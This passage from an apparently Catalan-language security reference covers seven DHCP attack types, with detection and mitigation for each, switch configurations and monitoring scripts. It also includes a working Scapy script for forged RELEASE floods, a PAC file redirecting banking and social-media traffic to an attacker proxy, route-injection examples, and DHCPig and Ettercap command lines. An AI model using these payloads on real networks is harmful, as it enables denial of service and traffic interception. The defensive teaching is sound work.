La mitigació més efectiva contra la majoria d'atacs d'aquesta pàgina (starvation, rogue server, spoofing) és una sola funcionalitat de switch: DHCP Snooping. Vegeu la configuració a "Contramesures Específiques per Cada Atac" més avall.
RELEASE/DECLINE/NAK falsos per alliberar o bloquejar IPs
DoS intermitent, hijacking de renovació
IPs alliberades sense motiu, conflictes
DAI + IP Source Guard
6
Relay Attacks
Suplantació de relay agent / manipulació de GIADDR i Option 82
MITM entre subxarxes
GIADDR incoherent, Option 82 alterat
Relays de confiança + validació Option 82
7
Fingerprinting
Anàlisi passiva/activa d'opcions per identificar dispositius
Reconeixement previ a l'atac
Sondes INFORM anòmales
Minimitzar informació exposada, segmentació
Com llegir les fitxes següents
Cada atac té una fitxa amb les files Funcionament, Procés, Impacte, Detecció i Mitigació. Els detalls de configuració de la mitigació estan a Contramesures Específiques per Cada Atac.
1. DHCP Starvation (Esgotament DHCP)
Aspecte
Descripció
Funcionament
L'atacant genera múltiples paquets DHCP DISCOVER amb adreces MAC falsificades. Cada paquet simula ser un dispositiu diferent sol·licitant una IP, fins que s'esgota el pool d'adreces disponibles.
Procés
1) Descobriment del rang DHCP — identifica l'abast d'IPs disponibles. 2) Generació de MACs falses — crea adreces MAC úniques per codi. 3) Flood de DISCOVER — envia massivament sol·licituds. 4) Manteniment dels leases — renova periòdicament per mantenir les IPs ocupades.
Denegació de servei per a nous dispositius · interrupció de la connectivitat · clients legítims que no poden obtenir IP.
Detecció
Pool DHCP al 100% d'ocupació de forma sobtada · gran nombre de MACs noves als logs · queixes d'usuaris que no es poden connectar.
Mitigació
DHCP Snooping + rate limiting de paquets DHCP per port + Port Security (limitar MACs per port). Vegeu Contra DHCP Starvation.
2. Rogue DHCP Server (Servidor DHCP Maliciós)
Aspecte
Descripció
Funcionament
L'atacant desplega un servidor DHCP il·legítim a la xarxa que respon les sol·licituds dels clients, competint amb el servidor legítim per lliurar una configuració controlada per ell.
Procés
1) Reconeixement — identificar la configuració DHCP actual. 2) Posicionament — situar-se física o lògicament a la xarxa. 3) Configuració maliciosa — crear un perfil DHCP atractiu (lease time llarg, resposta ràpida).
Estratègies
Speed advantage (respondre abans que el legítim) · Attractive offers (lease times més llargs) · Selective targeting (només dispositius concrets).
Payloads comuns
DNS Poisoning (DNS controlat per l'atacant) · Gateway redirection (tot el tràfic passa per l'atacant) · Proxy injection · WPAD exploitation.
Impacte
Man-in-the-Middle complet · robatori de credencials · redirecció de tràfic sensible (banca, xarxes socials).
Detecció
Ofertes DHCP procedents d'una IP/MAC no autoritzada · múltiples servidors responent · clients amb gateway o DNS inesperats.
Mitigació
DHCP Snooping marcant com a trusted només els ports dels servidors legítims. Vegeu Contra Rogue DHCP Server.
3. DHCP Spoofing Avançat
Aspecte
Descripció
Funcionament
Variant sofisticada del rogue server: l'atacant intercepta els DISCOVER legítims, analitza el client i envia respostes OFFER personalitzades guanyant la cursa al servidor real.
Procés (MITM DHCP)
1) Interceptació — captura DISCOVER legítims. 2) Anàlisi — extreu hostname, vendor, etc. 3) Personalització — crea respostes específiques per client. 4) Injecció — envia OFFER abans que el servidor real.
Tècniques
Race condition (explota el timing DISCOVER→OFFER, múltiples interfícies, cache de respostes) · Session hijacking (allibera i re-sol·licita la IP de la víctima).
Impacte
MITM selectiu i dirigit · segrest de sessió · configuració de gateway maliciós per a víctimes concretes.
Detecció
OFFER duplicats per a un mateix DISCOVER · latència/timing anòmal en la negociació · IPs reassignades sobtadament.
# Pseudocodi d'atacdefdhcp_hijack(target_mac,target_ip):# Enviar DHCP RELEASE fals per alliberar la IPsend_dhcp_release(target_mac,target_ip)# Immediatament sol·licitar la mateixa IPsend_dhcp_discover(attacker_mac)# Configurar IP amb gateway maliciósconfigure_malicious_dhcp_offer(target_ip)
L'atacant (via rogue server o spoofing) inclou opcions DHCP malicioses a les respostes per manipular el routing, el DNS o el proxy del client.
Procés
Lliurar una OFFER/ACK amb opcions crítiques manipulades: 121 (rutes estàtiques), 252 (WPAD/PAC), 6 (DNS), 3 (gateway), 15/119 (dominis).
Impacte
Redirecció selectiva de tràfic · interceptació HTTPS via proxy · DNS spoofing · control total del routing del client.
Detecció
Presència d'opcions inusuals (121, 252…) en captures DHCP · clients amb rutes/proxy no configurats per l'administrador.
Mitigació
Filtrat d'opcions perilloses al relay/proxy DHCP + DHCP Snooping. Vegeu Contra Option Injection.
Opcions DHCP Crítiques per Atacar
Opció 121 - Static Routes (Rutes Estàtiques)
# Exemple d'injecció maliciosaoptionclassless-static-routes8,10.0.0.0,192.168.1.10,# Redirigir 10.0.0.0/8 a atacant24,192.168.2.0,192.168.1.10,# Redirigir subxarxa específica0,192.168.1.1;# Gateway per defecte original
functionFindProxyForURL(url,host){// Interceptar tràfic bancariif(shExpMatch(host,"*.bank.com")||shExpMatch(host,"*banking*")){return"PROXY 192.168.1.10:8080";}// Interceptar tràfic social mediaif(shExpMatch(host,"*.facebook.com")||shExpMatch(host,"*.twitter.com")){return"PROXY 192.168.1.10:8080";}// Permetre altre tràfic directamentreturn"DIRECT";}
Altres Opcions Importants
Opció 15 - Domain Name: Canviar domini per DNS spoofing
Opció 119 - Domain Search List: Manipular l'ordre de cerca de dominis
Opció 6 - DNS Servers: Redirigir tot el DNS
Opció 3 - Default Gateway: Control total del routing
5. DHCP Release/Renew Attacks (Atacs de Alliberament/Renovació)
Aspecte
Descripció
Funcionament
L'atacant falsifica missatges de gestió del cicle de vida del lease (RELEASE, DECLINE, NAK) per alliberar IPs actives, bloquejar-les o segrestar renovacions.
Procés
Release attack (envia RELEASE fals a nom de la víctima) · Decline attack (envia DECLINE perquè el servidor marqui IPs com "in use") · Renewal hijacking (envia NAK abans que el servidor legítim quan el client renova, i el redirigeix).
Impacte
DoS intermitent i difícil de diagnosticar · pèrdua de connectivitat de clients concrets · segrest de configuració en la renovació.
Detecció
IPs alliberades sense que el client s'hagi desconnectat · conflictes d'IP freqüents · NAK inesperats als logs.
Mitigació
Dynamic ARP Inspection (DAI) + IP Source Guard (validar que IP i MAC coincideixen amb el binding de snooping). Vegeu Contra Release/Renew Attacks.
DoS Intermitent
DHCP Release Attack
# Tècnica d'atacimportscapy.allasscapydefdhcp_release_attack(target_range,dhcp_server):fortarget_ipintarget_range:# Obtenir MAC associada a la IPtarget_mac=get_mac_for_ip(target_ip)# Crear paquet DHCP RELEASE falsdhcp_release=scapy.DHCP(options=[("message-type","release"),("server_id",dhcp_server),("end")])packet=(scapy.Ether(dst="ff:ff:ff:ff:ff:ff",src=target_mac)/scapy.IP(src=target_ip,dst=dhcp_server)/scapy.UDP(sport=68,dport=67)/scapy.BOOTP(chaddr=target_mac,ciaddr=target_ip)/dhcp_release)scapy.sendp(packet)
DHCP Decline Attack
Envia DHCP DECLINE per marcar IPs com "in use"
Simula conflictes d'IP per crear confusió
Força al servidor a marcar IPs com no disponibles
Renewal Hijacking
Monitoratge: Detectar quan clients intenten renovar
Interceptació: Capturar paquets DHCP REQUEST
Competició: Enviar DHCP NAK abans del servidor legítim
Substitució: Oferir nova configuració quan el client torna a DISCOVER
6. DHCP Relay Attacks (Atacs a Relay DHCP)
Aspecte
Descripció
Funcionament
En xarxes amb relay agents (routing DHCP entre subxarxes), l'atacant suplanta un relay legítim o manipula els camps que aquest afegeix (GIADDR, Option 82) per interceptar o desviar el tràfic.
Procés
Relay Agent Spoofing (fer-se passar per un relay legítim i interceptar sol·licituds entre subxarxes) · GIADDR Manipulation (canviar el camp GIADDR perquè les respostes es dirigeixin a una subxarxa controlada) · Option 82 Injection (falsificar circuit_id/remote_id).
Impacte
MITM entre subxarxes · assignació d'IPs de subxarxes equivocades · evasió de polítiques basades en Option 82.
Detecció
GIADDR incoherent amb la topologia · Option 82 amb valors inesperats · relays no autoritzats generant tràfic.
Mitigació
Definir només relays de confiança · validació d'Option 82 al switch/servidor · segmentació i ACLs de capa 3.
Man-in-the-Middle via Relay
Relay Agent Spoofing
Simular ser un relay agent legítim
Interceptar sol·licituds entre subxarxes
Modificar Option 82 (Relay Agent Information)
Tècnica GIADDR Manipulation
# Modificar camp GIADDR en paquets relayOriginal:GIADDR=192.168.1.1(subnetA)Maliciós:GIADDR=192.168.2.1(subnetBcontroladaperatacant)
Option 82 Injection
# Exemple d'injecció maliciosaoption_82={'circuit_id':b'\x01\x04\x00\x10\x00\x01',# Port fals'remote_id':b'\x02\x06attacker_switch'# Switch controlat}
7. DHCP Fingerprinting i Intelligence Gathering
Aspecte
Descripció
Funcionament
No és un atac destructiu sinó una fase de reconeixement: l'atacant analitza les opcions i signatures dels missatges DHCP per identificar sistemes operatius, dispositius i usuaris abans d'atacar.
Procés
Passiu (analitzar Option 55 / Parameter Request List, Vendor Class Identifier i hostname per classificar dispositius) · Actiu (enviar INFORM per obtenir configuració sense lease, timing analysis del servidor).
Impacte
Mapa detallat de la xarxa · selecció d'objectius vulnerables · preparació d'atacs dirigits posteriors.
Detecció
Sondes INFORM inusuals · un mateix host consultant molts paràmetres · patrons de tràfic de reconeixement.
Mitigació
Minimitzar la informació exposada (hostnames genèrics) · segmentació de xarxa · monitoratge de tràfic DHCP anòmal.
Passive Information Gathering
Anàlisi d'Opcions DHCP Sol·licitades
Opció 55 (Parameter Request List): Revela SO i aplicacions
Vendor Class Identifier: Identifica tipus de dispositiu
Hostname option: Revela informació d'usuari
Device Classification
# Signatures comunssignatures={"MSFT 5.0":"Windows XP/Vista","MSFT 98":"Windows 98","android-dhcp":"Android Device","iPhone":"iOS Device","DHCP Zyxel":"Router Zyxel","udhcp":"Dispositiu Linux embedded","DHCP VendorClass":"Equip de xarxa"}defidentify_device(vendor_class,parameter_list):ifvendor_classinsignatures:device_type=signatures[vendor_class]else:device_type=analyze_parameters(parameter_list)returndevice_type
Active Probing
Enviar DHCP INFORM per obtenir configuració sense lease
Utilitzar opcions específiques per triggering responses
Timing analysis per fingerprinting de servidor
Contramesures Específiques per Cada Atac
Contra DHCP Starvation
Configuració Cisco Switch
# Habilitar DHCP Snooping
ip dhcp snooping
ip dhcp snooping vlan 10,20,30
# Limitar rate de paquets DHCP per port
interface range GigabitEthernet0/1-24
ip dhcp snooping limit rate 10 # Màxim 10 paquets/segon
# Configurar ports trusted (uplinks)
interface GigabitEthernet0/48
ip dhcp snooping trust
# Configuració completa DHCP Snooping
ip dhcp snooping
ip dhcp snooping vlan 10-50
# Ports trusted només per a servidors DHCP legítims
interface GigabitEthernet0/1
description "Connexió a servidor DHCP legítim"
ip dhcp snooping trust
# Tots els altres ports com untrusted
interface range GigabitEthernet0/2-47
ip dhcp snooping limit rate 5
# Habilitar detecció d'ofertes múltiples
ip dhcp snooping information option
ip dhcp snooping verify mac-address
Detecció d'Anomalies
#!/bin/bash# Script de monitoratge DHCPLOG_FILE="/var/log/dhcp-monitor.log"# Monitorar múltiples servidors DHCPtcpdump-ianyport67-l|whilereadline;doecho"$line"|grep"DHCP.*Offer"|awk'{ server_ip = $x # Extreure IP del servidor if (server_ip != "192.168.1.1") { print "[ALERT] Rogue DHCP detected from:", server_ip } }'>>$LOG_FILEdone
Contra Option Injection
Filtrat d'Opcions Perilloses
# Exemple de filtrat en proxy DHCPDANGEROUS_OPTIONS=[121,252,15,119,249]deffilter_dhcp_options(dhcp_packet):filtered_options=[]foroptionindhcp_packet.options:option_code=option[0]ifisinstance(option[0],int)elseord(option[0])ifoption_codenotinDANGEROUS_OPTIONS:filtered_options.append(option)else:print(f"[WARNING] Blocked dangerous DHCP option {option_code}")dhcp_packet.options=filtered_optionsreturndhcp_packet
Contra Release/Renew Attacks
Dynamic ARP Inspection (DAI)
# Habilitar DAI
ip arp inspection vlan 10-50
# Configurar trusted ports per DAI
interface GigabitEthernet0/48
ip arp inspection trust
# Rate limiting per ARP
ip arp inspection limit rate 15
# Validacions addicionals
ip arp inspection validate src-mac dst-mac ip
IP Source Guard
# Habilitar IP Source Guard
interface range GigabitEthernet0/1-47
ip verify source port-security
ip verify source dhcp-snooping
Monitoratge i Logging Avançat
Script de Monitoratge Complet
#!/bin/bash# Monitor DHCP comprehensiuLOG_DIR="/var/log/dhcp-security"mkdir-p$LOG_DIR# Monitorar anomalies DHCPtcpdump-iany-w$LOG_DIR/dhcp-$(date+%Y%m%d).pcapport67orport68&# Anàlisi en temps realtail-f/var/log/syslog|grep-idhcp|whilereadline;do# Detectar múltiples ofertesifecho"$line"|grep-q"DHCPOFFER";thenserver=$(echo"$line"|grep-o'[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+')echo"$(date): DHCP Offer from $server">>$LOG_DIR/offers.log
fi# Detectar starvationifecho"$line"|grep-q"no free leases";thenecho"$(date): [CRITICAL] DHCP Pool exhausted!">>$LOG_DIR/alerts.log
# Enviar alertamail-s"DHCP Pool Exhausted"admin@company.com<$LOG_DIR/alerts.log
fidone
SNMP Monitoring per DHCP
importpysnmpfrompysnmp.hlapiimport*defmonitor_dhcp_pool():# OID per pool utilization (exemple Cisco)pool_oid='1.3.6.1.4.1.9.9.101.1.2.1.1.6'for(errorIndication,errorStatus,errorIndex,varBinds)innextCmd(SnmpEngine(),CommunityData('public'),UdpTransportTarget(('dhcp-server-ip',161)),ContextData(),ObjectType(ObjectIdentity(pool_oid)),lexicographicMode=False):iferrorIndication:print(errorIndication)breakeliferrorStatus:print(f"{errorStatus} at {errorIndex}")breakelse:forvarBindinvarBinds:pool_usage=int(varBind[1])ifpool_usage>90:# 90% utilitzatsend_alert(f"DHCP Pool at {pool_usage}% capacity")
Eines d'Atac Comunes
Yersinia
Framework per atacs de capa 2
Interfície gràfica i de línia de comandes
Suport per múltiples protocols incloent DHCP
DHCPig
# Exemple d'ús DHCPig per starvation./dhcpig.py-ieth0-v
Scapy (Python)
# Exemple d'atac personalitzatfromscapy.allimport*defcustom_dhcp_attack():# Crear paquet DHCP maliciósdhcp_discover=DHCP(options=[("message-type","discover"),"end"])# ... rest del codi
Ettercap
# Atac man-in-the-middle amb DHCP spoofingettercap-T-Mdhcp:192.168.1.0/24/192.168.1.1,192.168.1.254-Pdns_spoof
Recomanacions de Seguretat
Implementació per Capes
Capa Física: Control d'accés físic als switches
Capa 2: DHCP Snooping, Port Security, DAI
Capa 3: IP Source Guard, ACLs
Capa d'Aplicació: Monitoratge i alertes
Auditoria Regular
Revisió periòdica de logs DHCP
Verificació de configuracions de seguretat
Tests de penetració interns
Actualització de signatures de detecció
Documentació i Formació
Procediments d'incident response per atacs DHCP
Formació del personal en detecció d'anomalies
Mantenir inventari actualitzat de dispositius de xarxa